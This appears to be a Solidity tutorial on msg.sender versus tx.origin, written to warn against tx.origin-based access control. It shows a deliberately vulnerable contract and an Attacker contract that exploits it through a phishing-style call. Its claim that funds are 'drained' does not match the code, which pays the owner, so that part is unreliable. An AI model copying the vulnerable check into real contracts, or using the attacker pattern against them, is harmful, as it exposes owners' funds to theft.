msg.sender vs tx.origin — the rule of thumbmsg.sender = the immediate caller of the current function (an EOA or a contract address).tx.origin = the original externally-owned account (EOA) that started the transaction (always an EOA, never a contract).If A → B → C (A calls B, B calls C):
msg.sender == B, tx.origin == A.tx.origin tracks the originating EOA across the whole call chain. msg.sender tracks the direct caller.
tx.origin is dangerous for access control (phishing attack)If you protect a function with require(tx.origin == owner), you think “only owner can run this” — but you actually allow any contract to be the immediate caller as long as the transaction was started by the owner.
An attacker can lure the owner into calling a malicious contract (e.g., via a phishing link / malicious UI). That malicious contract then calls the vulnerable contract — and since the tx.origin is the owner, the vulnerable contract allows the action. Boom: owner has been tricked into authorizing the attacker.
// BAD: Uses tx.origin for auth
pragma solidity ^0.8.19;
contract Vulnerable {
address public owner;
constructor(address _owner) {
owner = _owner;
}
// Suppose only owner should call this
function withdrawAll() external {
require(tx.origin == owner, "Not owner"); // <-- vulnerable check
payable(owner).transfer(address(this).balance);
}
// allow the contract to receive some funds
receive() external payable {}
}
Attacker.start() (or sending a tx to attacker).Attacker contract's start() calls vulnerable.withdrawAll() on behalf of the owner.Vulnerable, tx.origin is the unknowing owner — the require passes — funds drained.pragma solidity ^0.8.19;
interface IVulnerable {
function withdrawAll() external;
}
contract Attacker {
IVulnerable public victim;
constructor(address _victim) {
victim = IVulnerable(_victim);
}
// Owner is tricked into calling this function (owner signs/initiates tx to this contract)
function start() external {
// This call runs in one transaction; tx.origin is the EOA that initiated it.
victim.withdrawAll(); // inside victim, tx.origin == owner -> passes
}
}
Notice: the owner intentionally sent a transaction (the owner thought they were calling Attacker.start for something innocent). That very action lets Attacker call the victim and succeed.